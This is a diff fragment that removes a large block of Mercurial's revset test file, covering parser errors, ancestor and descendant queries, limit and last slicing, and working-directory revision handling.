-  hg: parse error: invalid \x escape
-  [255]
-  $ log 'date(tip)'
-  hg: parse error: invalid date: 'tip'
-  [255]
-  $ log '0:date'
-  abort: unknown revision 'date'!
-  [255]
-  $ log '::"date"'
-  abort: unknown revision 'date'!
-  [255]
-  $ hg book date -r 4
-  $ log '0:date'
-  0
-  1
-  2
-  3
-  4
-  $ log '::date'
-  0
-  1
-  2
-  4
-  $ log '::"date"'
-  0
-  1
-  2
-  4
-  $ log 'date(2005) and 1::'
-  4
-  $ hg book -d date
-
-function name should be a symbol
-
-  $ log '"date"(2005)'
-  hg: parse error: not a symbol
-  [255]
-
-keyword arguments
-
-  $ log 'extra(branch, value=a)'
-  0
-
-  $ log 'extra(branch, a, b)'
-  hg: parse error: extra takes at most 2 positional arguments
-  [255]
-  $ log 'extra(a, label=b)'
-  hg: parse error: extra got multiple values for keyword argument 'label'
-  [255]
-  $ log 'extra(label=branch, default)'
-  hg: parse error: extra got an invalid argument
-  [255]
-  $ log 'extra(branch, foo+bar=baz)'
-  hg: parse error: extra got an invalid argument
-  [255]
-  $ log 'extra(unknown=branch)'
-  hg: parse error: extra got an unexpected keyword argument 'unknown'
-  [255]
-
-  $ try 'foo=bar|baz'
-  (keyvalue
-    ('symbol', 'foo')
-    (or
-      (list
-        ('symbol', 'bar')
-        ('symbol', 'baz'))))
-  hg: parse error: can't use a key-value pair in this context
-  [255]
-
- right-hand side should be optimized recursively
-
-  $ try --optimize 'foo=(not public())'
-  (keyvalue
-    ('symbol', 'foo')
-    (group
-      (not
-        (func
-          ('symbol', 'public')
-          None))))
-  * optimized:
-  (keyvalue
-    ('symbol', 'foo')
-    (func
-      ('symbol', '_notpublic')
-      None
-      any))
-  hg: parse error: can't use a key-value pair in this context
-  [255]
-
-relation-subscript operator has the highest binding strength (as function call):
-
-  $ hg debugrevspec -p parsed 'tip:tip^#generations[-1]'
-  * parsed:
-  (range
-    ('symbol', 'tip')
-    (relsubscript
-      (parentpost
-        ('symbol', 'tip'))
-      ('symbol', 'generations')
-      (negate
-        ('symbol', '1'))))
-  9
-  8
-  7
-  6
-  5
-  4
-
-  $ hg debugrevspec -p parsed --no-show-revs 'not public()#generations[0]'
-  * parsed:
-  (not
-    (relsubscript
-      (func
-        ('symbol', 'public')
-        None)
-      ('symbol', 'generations')
-      ('symbol', '0')))
-
-left-hand side of relation-subscript operator should be optimized recursively:
-
-  $ hg debugrevspec -p analyzed -p optimized --no-show-revs \
-  > '(not public())#generations[0]'
-  * analyzed:
-  (relsubscript
-    (not
-      (func
-        ('symbol', 'public')
-        None
-        any)
-      define)
-    ('symbol', 'generations')
-    ('symbol', '0')
-    define)
-  * optimized:
-  (relsubscript
-    (func
-      ('symbol', '_notpublic')
-      None
-      any)
-    ('symbol', 'generations')
-    ('symbol', '0')
-    define)
-
-resolution of subscript and relation-subscript ternary operators:
-
-  $ hg debugrevspec -p analyzed 'tip[0]'
-  * analyzed:
-  (subscript
-    ('symbol', 'tip')
-    ('symbol', '0')
-    define)
-  hg: parse error: can't use a subscript in this context
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel[0]'
-  * analyzed:
-  (relsubscript
-    ('symbol', 'tip')
-    ('symbol', 'rel')
-    ('symbol', '0')
-    define)
-  hg: parse error: unknown identifier: rel
-  [255]
-
-  $ hg debugrevspec -p analyzed '(tip#rel)[0]'
-  * analyzed:
-  (subscript
-    (relation
-      ('symbol', 'tip')
-      ('symbol', 'rel')
-      define)
-    ('symbol', '0')
-    define)
-  hg: parse error: can't use a subscript in this context
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel[0][1]'
-  * analyzed:
-  (subscript
-    (relsubscript
-      ('symbol', 'tip')
-      ('symbol', 'rel')
-      ('symbol', '0')
-      define)
-    ('symbol', '1')
-    define)
-  hg: parse error: can't use a subscript in this context
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel0#rel1[1]'
-  * analyzed:
-  (relsubscript
-    (relation
-      ('symbol', 'tip')
-      ('symbol', 'rel0')
-      define)
-    ('symbol', 'rel1')
-    ('symbol', '1')
-    define)
-  hg: parse error: unknown identifier: rel1
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel0[0]#rel1[1]'
-  * analyzed:
-  (relsubscript
-    (relsubscript
-      ('symbol', 'tip')
-      ('symbol', 'rel0')
-      ('symbol', '0')
-      define)
-    ('symbol', 'rel1')
-    ('symbol', '1')
-    define)
-  hg: parse error: unknown identifier: rel1
-  [255]
-
-parse errors of relation, subscript and relation-subscript operators:
-
-  $ hg debugrevspec '[0]'
-  hg: parse error at 0: not a prefix: [
-  [255]
-  $ hg debugrevspec '.#'
-  hg: parse error at 2: not a prefix: end
-  [255]
-  $ hg debugrevspec '#rel'
-  hg: parse error at 0: not a prefix: #
-  [255]
-  $ hg debugrevspec '.#rel[0'
-  hg: parse error at 7: unexpected token: end
-  [255]
-  $ hg debugrevspec '.]'
-  hg: parse error at 1: invalid token
-  [255]
-
-  $ hg debugrevspec '.#generations[a]'
-  hg: parse error: relation subscript must be an integer
-  [255]
-  $ hg debugrevspec '.#generations[1-2]'
-  hg: parse error: relation subscript must be an integer
-  [255]
-
-parsed tree at stages:
-
-  $ hg debugrevspec -p all '()'
-  * parsed:
-  (group
-    None)
-  * expanded:
-  (group
-    None)
-  * concatenated:
-  (group
-    None)
-  * analyzed:
-  None
-  * optimized:
-  None
-  hg: parse error: missing argument
-  [255]
-
-  $ hg debugrevspec --no-optimized -p all '()'
-  * parsed:
-  (group
-    None)
-  * expanded:
-  (group
-    None)
-  * concatenated:
-  (group
-    None)
-  * analyzed:
-  None
-  hg: parse error: missing argument
-  [255]
-
-  $ hg debugrevspec -p parsed -p analyzed -p optimized '(0|1)-1'
-  * parsed:
-  (minus
-    (group
-      (or
-        (list
-          ('symbol', '0')
-          ('symbol', '1'))))
-    ('symbol', '1'))
-  * analyzed:
-  (and
-    (or
-      (list
-        ('symbol', '0')
-        ('symbol', '1'))
-      define)
-    (not
-      ('symbol', '1')
-      follow)
-    define)
-  * optimized:
-  (difference
-    (func
-      ('symbol', '_list')
-      ('string', '0\x001')
-      define)
-    ('symbol', '1')
-    define)
-  0
-
-  $ hg debugrevspec -p unknown '0'
-  abort: invalid stage name: unknown
-  [255]
-
-  $ hg debugrevspec -p all --optimize '0'
-  abort: cannot use --optimize with --show-stage
-  [255]
-
-verify optimized tree:
-
-  $ hg debugrevspec --verify '0|1'
-
-  $ hg debugrevspec --verify -v -p analyzed -p optimized 'r3232() & 2'
-  * analyzed:
-  (and
-    (func
-      ('symbol', 'r3232')
-      None
-      define)
-    ('symbol', '2')
-    define)
-  * optimized:
-  (and
-    ('symbol', '2')
-    (func
-      ('symbol', 'r3232')
-      None
-      define)
-    define)
-  * analyzed set:
-  <baseset [2]>
-  * optimized set:
-  <baseset [2, 2]>
-  --- analyzed
-  +++ optimized
-   2
-  +2
-  [1]
-
-  $ hg debugrevspec --no-optimized --verify-optimized '0'
-  abort: cannot use --verify-optimized with --no-optimized
-  [255]
-
-Test that symbols only get parsed as functions if there's an opening
-parenthesis.
-
-  $ hg book only -r 9
-  $ log 'only(only)'   # Outer "only" is a function, inner "only" is the bookmark
-  8
-  9
-
-':y' behaves like '0:y', but can't be rewritten as such since the revision '0'
-may be hidden (issue5385)
-
-  $ try -p parsed -p analyzed ':'
-  * parsed:
-  (rangeall
-    None)
-  * analyzed:
-  (rangeall
-    None
-    define)
-  * set:
-  <spanset+ 0:10>
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ try -p analyzed ':1'
-  * analyzed:
-  (rangepre
-    ('symbol', '1')
-    define)
-  * set:
-  <spanset+ 0:2>
-  0
-  1
-  $ try -p analyzed ':(1|2)'
-  * analyzed:
-  (rangepre
-    (or
-      (list
-        ('symbol', '1')
-        ('symbol', '2'))
-      define)
-    define)
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-  $ try -p analyzed ':(1&2)'
-  * analyzed:
-  (rangepre
-    (and
-      ('symbol', '1')
-      ('symbol', '2')
-      define)
-    define)
-  * set:
-  <baseset []>
-
-infix/suffix resolution of ^ operator (issue2884):
-
- x^:y means (x^):y
-
-  $ try '1^:2'
-  (range
-    (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try '1^::2'
-  (dagrange
-    (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
-  * set:
-  <baseset+ [0, 1, 2]>
-  0
-  1
-  2
-
-  $ try '9^:'
-  (rangepost
-    (parentpost
-      ('symbol', '9')))
-  * set:
-  <spanset+ 8:10>
-  8
-  9
-
- x^:y should be resolved before omitting group operators
-
-  $ try '1^(:2)'
-  (parent
-    ('symbol', '1')
-    (group
-      (rangepre
-        ('symbol', '2'))))
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-
- x^:y should be resolved recursively
-
-  $ try 'sort(1^:2)'
-  (func
-    ('symbol', 'sort')
-    (range
-      (parentpost
-        ('symbol', '1'))
-      ('symbol', '2')))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try '(3^:4)^:2'
-  (range
-    (parentpost
-      (group
-        (range
-          (parentpost
-            ('symbol', '3'))
-          ('symbol', '4'))))
-    ('symbol', '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try '(3^::4)^::2'
-  (dagrange
-    (parentpost
-      (group
-        (dagrange
-          (parentpost
-            ('symbol', '3'))
-          ('symbol', '4'))))
-    ('symbol', '2'))
-  * set:
-  <baseset+ [0, 1, 2]>
-  0
-  1
-  2
-
-  $ try '(9^:)^:'
-  (rangepost
-    (parentpost
-      (group
-        (rangepost
-          (parentpost
-            ('symbol', '9'))))))
-  * set:
-  <spanset+ 4:10>
-  4
-  5
-  6
-  7
-  8
-  9
-
- x^ in alias should also be resolved
-
-  $ try 'A' --config 'revsetalias.A=1^:2'
-  ('symbol', 'A')
-  * expanded:
-  (range
-    (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try 'A:2' --config 'revsetalias.A=1^'
-  (range
-    ('symbol', 'A')
-    ('symbol', '2'))
-  * expanded:
-  (range
-    (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
- but not beyond the boundary of alias expansion, because the resolution should
- be made at the parsing stage
-
-  $ try '1^A' --config 'revsetalias.A=:2'
-  (parent
-    ('symbol', '1')
-    ('symbol', 'A'))
-  * expanded:
-  (parent
-    ('symbol', '1')
-    (rangepre
-      ('symbol', '2')))
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-
-ancestor can accept 0 or more arguments
-
-  $ log 'ancestor()'
-  $ log 'ancestor(1)'
-  1
-  $ log 'ancestor(4,5)'
-  1
-  $ log 'ancestor(4,5) and 4'
-  $ log 'ancestor(0,0,1,3)'
-  0
-  $ log 'ancestor(3,1,5,3,5,1)'
-  1
-  $ log 'ancestor(0,1,3,5)'
-  0
-  $ log 'ancestor(1,2,3,4,5)'
-  1
-
-test ancestors
-
-  $ hg log -G -T '{rev}\n' --config experimental.graphshorten=True
-  @  9
-  o  8
-  | o  7
-  | o  6
-  |/|
-  | o  5
-  o |  4
-  | o  3
-  o |  2
-  |/
-  o  1
-  o  0
-
-  $ log 'ancestors(5)'
-  0
-  1
-  3
-  5
-  $ log 'ancestor(ancestors(5))'
-  0
-  $ log '::r3232()'
-  0
-  1
-  2
-  3
-
-test ancestors with depth limit
-
- (depth=0 selects the node itself)
-
-  $ log 'reverse(ancestors(9, depth=0))'
-  9
-
- (interleaved: '4' would be missing if heap queue were higher depth first)
-
-  $ log 'reverse(ancestors(8:9, depth=1))'
-  9
-  8
-  4
-
- (interleaved: '2' would be missing if heap queue were higher depth first)
-
-  $ log 'reverse(ancestors(7+8, depth=2))'
-  8
-  7
-  6
-  5
-  4
-  2
-
- (walk example above by separate queries)
-
-  $ log 'reverse(ancestors(8, depth=2)) + reverse(ancestors(7, depth=2))'
-  8
-  4
-  2
-  7
-  6
-  5
-
- (walk 2nd and 3rd ancestors)
-
-  $ log 'reverse(ancestors(7, depth=3, startdepth=2))'
-  5
-  4
-  3
-  2
-
- (interleaved: '4' would be missing if higher-depth ancestors weren't scanned)
-
-  $ log 'reverse(ancestors(7+8, depth=2, startdepth=2))'
-  5
-  4
-  2
-
- (note that 'ancestors(x, depth=y, startdepth=z)' does not identical to
- 'ancestors(x, depth=y) - ancestors(x, depth=z-1)' because a node may have
- multiple depths)
-
-  $ log 'reverse(ancestors(7+8, depth=2) - ancestors(7+8, depth=1))'
-  5
-  2
-
-test bad arguments passed to ancestors()
-
-  $ log 'ancestors(., depth=-1)'
-  hg: parse error: negative depth
-  [255]
-  $ log 'ancestors(., depth=foo)'
-  hg: parse error: ancestors expects an integer depth
-  [255]
-
-test descendants
-
-  $ hg log -G -T '{rev}\n' --config experimental.graphshorten=True
-  @  9
-  o  8
-  | o  7
-  | o  6
-  |/|
-  | o  5
-  o |  4
-  | o  3
-  o |  2
-  |/
-  o  1
-  o  0
-
- (null is ultimate root and has optimized path)
-
-  $ log 'null:4 & descendants(null)'
-  -1
-  0
-  1
-  2
-  3
-  4
-
- (including merge)
-
-  $ log ':8 & descendants(2)'
-  2
-  4
-  6
-  7
-  8
-
- (multiple roots)
-
-  $ log ':8 & descendants(2+5)'
-  2
-  4
-  5
-  6
-  7
-  8
-
-test descendants with depth limit
-
- (depth=0 selects the node itself)
-
-  $ log 'descendants(0, depth=0)'
-  0
-  $ log 'null: & descendants(null, depth=0)'
-  -1
-
- (p2 = null should be ignored)
-
-  $ log 'null: & descendants(null, depth=2)'
-  -1
-  0
-  1
-
- (multiple paths: depth(6) = (2, 3))
-
-  $ log 'descendants(1+3, depth=2)'
-  1
-  2
-  3
-  4
-  5
-  6
-
- (multiple paths: depth(5) = (1, 2), depth(6) = (2, 3))
-
-  $ log 'descendants(3+1, depth=2, startdepth=2)'
-  4
-  5
-  6
-
- (multiple depths: depth(6) = (0, 2, 4), search for depth=2)
-
-  $ log 'descendants(0+3+6, depth=3, startdepth=1)'
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-
- (multiple depths: depth(6) = (0, 4), no match)
-
-  $ log 'descendants(0+6, depth=3, startdepth=1)'
-  1
-  2
-  3
-  4
-  5
-  7
-
-test ancestors/descendants relation subscript:
-
-  $ log 'tip#generations[0]'
-  9
-  $ log '.#generations[-1]'
-  8
-  $ log '.#g[(-1)]'
-  8
-
-  $ hg debugrevspec -p parsed 'roots(:)#g[2]'
-  * parsed:
-  (relsubscript
-    (func
-      ('symbol', 'roots')
-      (rangeall
-        None))
-    ('symbol', 'g')
-    ('symbol', '2'))
-  2
-  3
-
-test author
-
-  $ log 'author(bob)'
-  2
-  $ log 'author("re:bob|test")'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ log 'author(r"re:\S")'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ log 'branch(é)'
-  8
-  9
-  $ log 'branch(a)'
-  0
-  $ hg log -r 'branch("re:a")' --template '{rev} {branch}\n'
-  0 a
-  2 a-b-c-
-  3 +a+b+c+
-  4 -a-b-c-
-  5 !a/b/c/
-  6 _a_b_c_
-  7 .a.b.c.
-  $ log 'children(ancestor(4,5))'
-  2
-  3
-
-  $ log 'children(4)'
-  6
-  8
-  $ log 'children(null)'
-  0
-
-  $ log 'closed()'
-  $ log 'contains(a)'
-  0
-  1
-  3
-  5
-  $ log 'contains("../repo/a")'
-  0
-  1
-  3
-  5
-  $ log 'desc(B)'
-  5
-  $ hg log -r 'desc(r"re:S?u")' --template "{rev} {desc|firstline}\n"
-  5 5 bug
-  6 6 issue619
-  $ log 'descendants(2 or 3)'
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ log 'file("b*")'
-  1
-  4
-  $ log 'filelog("b")'
-  1
-  4
-  $ log 'filelog("../repo/b")'
-  1
-  4
-  $ log 'follow()'
-  0
-  1
-  2
-  4
-  8
-  9
-  $ log 'grep("issue\d+")'
-  6
-  $ try 'grep("(")' # invalid regular expression
-  (func
-    ('symbol', 'grep')
-    ('string', '('))
-  hg: parse error: invalid match pattern: unbalanced parenthesis
-  [255]
-  $ try 'grep("\bissue\d+")'
-  (func
-    ('symbol', 'grep')
-    ('string', '\x08issue\\d+'))
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <grep '\x08issue\\d+'>>
-  $ try 'grep(r"\bissue\d+")'
-  (func
-    ('symbol', 'grep')
-    ('string', '\\bissue\\d+'))
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <grep '\\bissue\\d+'>>
-  6
-  $ try 'grep(r"\")'
-  hg: parse error at 7: unterminated string
-  [255]
-  $ log 'head()'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  9
-  $ log 'heads(6::)'
-  7
-  $ log 'keyword(issue)'
-  6
-  $ log 'keyword("test a")'
-
-Test first (=limit) and last
-
-  $ log 'limit(head(), 1)'
-  0
-  $ log 'limit(author("re:bob|test"), 3, 5)'
-  5
-  6
-  7
-  $ log 'limit(author("re:bob|test"), offset=6)'
-  6
-  $ log 'limit(author("re:bob|test"), offset=10)'
-  $ log 'limit(all(), 1, -1)'
-  hg: parse error: negative offset
-  [255]
-  $ log 'limit(all(), -1)'
-  hg: parse error: negative number to select
-  [255]
-  $ log 'limit(all(), 0)'
-
-  $ log 'last(all(), -1)'
-  hg: parse error: negative number to select
-  [255]
-  $ log 'last(all(), 0)'
-  $ log 'last(all(), 1)'
-  9
-  $ log 'last(all(), 2)'
-  8
-  9
-
-Test smartset.slice() by first/last()
-
- (using unoptimized set, filteredset as example)
-
-  $ hg debugrevspec --no-show-revs -s '0:7 & branch("re:")'
-  * set:
-  <filteredset
-    <spanset+ 0:8>,
-    <branch 're:'>>
-  $ log 'limit(0:7 & branch("re:"), 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(7:0 & branch("re:"), 3, 4)'
-  3
-  2
-  1
-  $ log 'last(0:7 & branch("re:"), 2)'
-  6
-  7
-
- (using baseset)
-
-  $ hg debugrevspec --no-show-revs -s 0+1+2+3+4+5+6+7
-  * set:
-  <baseset [0, 1, 2, 3, 4, 5, 6, 7]>
-  $ hg debugrevspec --no-show-revs -s 0::7
-  * set:
-  <baseset+ [0, 1, 2, 3, 4, 5, 6, 7]>
-  $ log 'limit(0+1+2+3+4+5+6+7, 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(sort(0::7, rev), 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(sort(0::7, -rev), 3, 4)'
-  3
-  2
-  1
-  $ log 'last(sort(0::7, rev), 2)'
-  6
-  7
-  $ hg debugrevspec -s 'limit(sort(0::7, rev), 3, 6)'
-  * set:
-  <baseset+ [6, 7]>
-  6
-  7
-  $ hg debugrevspec -s 'limit(sort(0::7, rev), 3, 9)'
-  * set:
-  <baseset+ []>
-  $ hg debugrevspec -s 'limit(sort(0::7, -rev), 3, 6)'
-  * set:
-  <baseset- [0, 1]>
-  1
-  0
-  $ hg debugrevspec -s 'limit(sort(0::7, -rev), 3, 9)'
-  * set:
-  <baseset- []>
-  $ hg debugrevspec -s 'limit(0::7, 0)'
-  * set:
-  <baseset+ []>
-
- (using spanset)
-
-  $ hg debugrevspec --no-show-revs -s 0:7
-  * set:
-  <spanset+ 0:8>
-  $ log 'limit(0:7, 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(7:0, 3, 4)'
-  3
-  2
-  1
-  $ log 'limit(0:7, 3, 6)'
-  6
-  7
-  $ log 'limit(7:0, 3, 6)'
-  1
-  0
-  $ log 'last(0:7, 2)'
-  6
-  7
-  $ hg debugrevspec -s 'limit(0:7, 3, 6)'
-  * set:
-  <spanset+ 6:8>
-  6
-  7
-  $ hg debugrevspec -s 'limit(0:7, 3, 9)'
-  * set:
-  <spanset+ 8:8>
-  $ hg debugrevspec -s 'limit(7:0, 3, 6)'
-  * set:
-  <spanset- 0:2>
-  1
-  0
-  $ hg debugrevspec -s 'limit(7:0, 3, 9)'
-  * set:
-  <spanset- 0:0>
-  $ hg debugrevspec -s 'limit(0:7, 0)'
-  * set:
-  <spanset+ 0:0>
-
-Test order of first/last revisions
-
-  $ hg debugrevspec -s 'first(4:0, 3) & 3:'
-  * set:
-  <filteredset
-    <spanset- 2:5>,
-    <spanset+ 3:10>>
-  4
-  3
-
-  $ hg debugrevspec -s '3: & first(4:0, 3)'
-  * set:
-  <filteredset
-    <spanset+ 3:10>,
-    <spanset- 2:5>>
-  3
-  4
-
-  $ hg debugrevspec -s 'last(4:0, 3) & :1'
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <spanset+ 0:2>>
-  1
-  0
-
-  $ hg debugrevspec -s ':1 & last(4:0, 3)'
-  * set:
-  <filteredset
-    <spanset+ 0:2>,
-    <spanset+ 0:3>>
-  0
-  1
-
-Test scmutil.revsingle() should return the last revision
-
-  $ hg debugrevspec -s 'last(0::)'
-  * set:
-  <baseset slice=0:1
-    <generatorset->>
-  9
-  $ hg identify -r '0::' --num
-  9
-
-Test matching
-
-  $ log 'matching(6)'
-  6
-  $ log 'matching(6:7, "phase parents user date branch summary files description substate")'
-  6
-  7
-
-Testing min and max
-
-max: simple
-
-  $ log 'max(contains(a))'
-  5
-
-max: simple on unordered set)
-
-  $ log 'max((4+0+2+5+7) and contains(a))'
-  5
-
-max: no result
-
-  $ log 'max(contains(stringthatdoesnotappearanywhere))'
-
-max: no result on unordered set
-
-  $ log 'max((4+0+2+5+7) and contains(stringthatdoesnotappearanywhere))'
-
-min: simple
-
-  $ log 'min(contains(a))'
-  0
-
-min: simple on unordered set
-
-  $ log 'min((4+0+2+5+7) and contains(a))'
-  0
-
-min: empty
-
-  $ log 'min(contains(stringthatdoesnotappearanywhere))'
-
-min: empty on unordered set
-
-  $ log 'min((4+0+2+5+7) and contains(stringthatdoesnotappearanywhere))'
-
-
-  $ log 'merge()'
-  6
-  $ log 'branchpoint()'
-  1
-  4
-  $ log 'modifies(b)'
-  4
-  $ log 'modifies("path:b")'
-  4
-  $ log 'modifies("*")'
-  4
-  6
-  $ log 'modifies("set:modified()")'
-  4
-  $ log 'id(5)'
-  2
-  $ log 'only(9)'
-  8
-  9
-  $ log 'only(8)'
-  8
-  $ log 'only(9, 5)'
-  2
-  4
-  8
-  9
-  $ log 'only(7 + 9, 5 + 2)'
-  4
-  6
-  7
-  8
-  9
-
-Test empty set input
-  $ log 'only(p2())'
-  $ log 'only(p1(), p2())'
-  0
-  1
-  2
-  4
-  8
-  9
-
-Test '%' operator
-
-  $ log '9%'
-  8
-  9
-  $ log '9%5'
-  2
-  4
-  8
-  9
-  $ log '(7 + 9)%(5 + 2)'
-  4
-  6
-  7
-  8
-  9
-
-Test operand of '%' is optimized recursively (issue4670)
-
-  $ try --optimize '8:9-8%'
-  (onlypost
-    (minus
-      (range
-        ('symbol', '8')
-        ('symbol', '9'))
-      ('symbol', '8')))
-  * optimized:
-  (func
-    ('symbol', 'only')
-    (difference
-      (range
-        ('symbol', '8')
-        ('symbol', '9')
-        define)
-      ('symbol', '8')
-      define)
-    define)
-  * set:
-  <baseset+ [8, 9]>
-  8
-  9
-  $ try --optimize '(9)%(5)'
-  (only
-    (group
-      ('symbol', '9'))
-    (group
-      ('symbol', '5')))
-  * optimized:
-  (func
-    ('symbol', 'only')
-    (list
-      ('symbol', '9')
-      ('symbol', '5'))
-    define)
-  * set:
-  <baseset+ [2, 4, 8, 9]>
-  2
-  4
-  8
-  9
-
-Test the order of operations
-
-  $ log '7 + 9%5 + 2'
-  7
-  2
-  4
-  8
-  9
-
-Test explicit numeric revision
-  $ log 'rev(-2)'
-  $ log 'rev(-1)'
-  -1
-  $ log 'rev(0)'
-  0
-  $ log 'rev(9)'
-  9
-  $ log 'rev(10)'
-  $ log 'rev(tip)'
-  hg: parse error: rev expects a number
-  [255]
-
-Test hexadecimal revision
-  $ log 'id(2)'
-  abort: 00changelog.i@2: ambiguous identifier!
-  [255]
-  $ log 'id(23268)'
-  4
-  $ log 'id(2785f51eece)'
-  0
-  $ log 'id(d5d0dcbdc4d9ff5dbb2d336f32f0bb561c1a532c)'
-  8
-  $ log 'id(d5d0dcbdc4a)'
-  $ log 'id(d5d0dcbdc4w)'
-  $ log 'id(d5d0dcbdc4d9ff5dbb2d336f32f0bb561c1a532d)'
-  $ log 'id(d5d0dcbdc4d9ff5dbb2d336f32f0bb561c1a532q)'
-  $ log 'id(1.0)'
-  $ log 'id(xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)'
-
-Test null revision
-  $ log '(null)'
-  -1
-  $ log '(null:0)'
-  -1
-  0
-  $ log '(0:null)'
-  0
-  -1
-  $ log 'null::0'
-  -1
-  0
-  $ log 'null:tip - 0:'
-  -1
-  $ log 'null: and null::' | head -1
-  -1
-  $ log 'null: or 0:' | head -2
-  -1
-  0
-  $ log 'ancestors(null)'
-  -1
-  $ log 'reverse(null:)' | tail -2
-  0
-  -1
-  $ log 'first(null:)'
-  -1
-  $ log 'min(null:)'
-BROKEN: should be '-1'
-  $ log 'tip:null and all()' | tail -2
-  1
-  0
-
-Test working-directory revision
-  $ hg debugrevspec 'wdir()'
-  2147483647
-  $ hg debugrevspec 'wdir()^'
-  9
-  $ hg up 7
-  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
-  $ hg debugrevspec 'wdir()^'
-  7
-  $ hg debugrevspec 'wdir()^0'
-  2147483647
-  $ hg debugrevspec 'wdir()~3'
-  5
-  $ hg debugrevspec 'ancestors(wdir())'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  2147483647
-  $ hg debugrevspec 'wdir()~0'
-  2147483647
-  $ hg debugrevspec 'p1(wdir())'
-  7
-  $ hg debugrevspec 'p2(wdir())'
-  $ hg debugrevspec 'parents(wdir())'
-  7
-  $ hg debugrevspec 'wdir()^1'
-  7
-  $ hg debugrevspec 'wdir()^2'
-  $ hg debugrevspec 'wdir()^3'
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-For tests consistency
-  $ hg up 9
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ hg debugrevspec 'tip or wdir()'
-  9
-  2147483647
-  $ hg debugrevspec '0:tip and wdir()'
-  $ log '0:wdir()' | tail -3
-  8
-  9
-  2147483647
-  $ log 'wdir():0' | head -3
-  2147483647
-  9
-  8
-  $ log 'wdir():wdir()'
-  2147483647
-  $ log '(all() + wdir()) & min(. + wdir())'
-  9
-  $ log '(all() + wdir()) & max(. + wdir())'
-  2147483647
-  $ log 'first(wdir() + .)'
-  2147483647
-  $ log 'last(. + wdir())'
-  2147483647
-
-Test working-directory integer revision and node id
-(BUG: '0:wdir()' is still needed to populate wdir revision)
-
-  $ hg debugrevspec '0:wdir() & 2147483647'
-  2147483647
-  $ hg debugrevspec '0:wdir() & rev(2147483647)'
-  2147483647
-  $ hg debugrevspec '0:wdir() & ffffffffffffffffffffffffffffffffffffffff'
-  2147483647
-  $ hg debugrevspec '0:wdir() & ffffffffffff'
-  2147483647
-  $ hg debugrevspec '0:wdir() & id(ffffffffffffffffffffffffffffffffffffffff)'
-  2147483647
-  $ hg debugrevspec '0:wdir() & id(ffffffffffff)'
-  2147483647
-
-  $ cd ..
-
-Test short 'ff...' hash collision
-(BUG: '0:wdir()' is still needed to populate wdir revision)
-
-  $ hg init wdir-hashcollision
-  $ cd wdir-hashcollision
-  $ cat <<EOF >> .hg/hgrc
-  > [experimental]
-  > evolution = createmarkers
-  > EOF
-  $ echo 0 > a
-  $ hg ci -qAm 0
-  $ for i in 2463 2961 6726 78127; do
-  >   hg up -q 0
-  >   echo $i > a
-  >   hg ci -qm $i
-  > done
-  $ hg up -q null
-  $ hg log -r '0:wdir()' -T '{rev}:{node} {shortest(node, 3)}\n'
-  0:b4e73ffab476aa0ee32ed81ca51e07169844bc6a b4e
-  1:fffbae3886c8fbb2114296380d276fd37715d571 fffba
-  2:fffb6093b00943f91034b9bdad069402c834e572 fffb6
-  3:fff48a9b9de34a4d64120c29548214c67980ade3 fff4
-  4:ffff85cff0ff78504fcdc3c0bc10de0c65379249 ffff8
-  2147483647:ffffffffffffffffffffffffffffffffffffffff fffff
-  $ hg debugobsolete fffbae3886c8fbb2114296380d276fd37715d571
-  obsoleted 1 changesets
-
-  $ hg debugrevspec '0:wdir() & fff'
-  abort: 00changelog.i@fff: ambiguous identifier!
-  [255]
-  $ hg debugrevspec '0:wdir() & ffff'
-  abort: 00changelog.i@ffff: ambiguous identifier!
-  [255]
-  $ hg debugrevspec '0:wdir() & fffb'
-  abort: 00changelog.i@fffb: ambiguous identifier!
-  [255]
-BROKEN should be '2' (node lookup uses unfiltered repo since dc25ed84bee8)
-  $ hg debugrevspec '0:wdir() & id(fffb)'
-  2
-  $ hg debugrevspec '0:wdir() & ffff8'
-  4
-  $ hg debugrevspec '0:wdir() & fffff'
-  2147483647
-
-  $ cd ..
-
-Test branch() with wdir()
-
-  $ cd repo
-
-  $ log '0:wdir() & branch("literal:é")'
-  8
-  9
-  2147483647
-  $ log '0:wdir() & branch("re:é")'
-  8
-  9
-  2147483647
-  $ log '0:wdir() & branch("re:^a")'
-  0
-  2
-  $ log '0:wdir() & branch(8)'
-  8
-  9
-  2147483647
-
-branch(wdir()) returns all revisions belonging to the working branch. The wdir
-itself isn't returned unless it is explicitly populated.
-
-  $ log 'branch(wdir())'
-  8
-  9
-  $ log '0:wdir() & branch(wdir())'
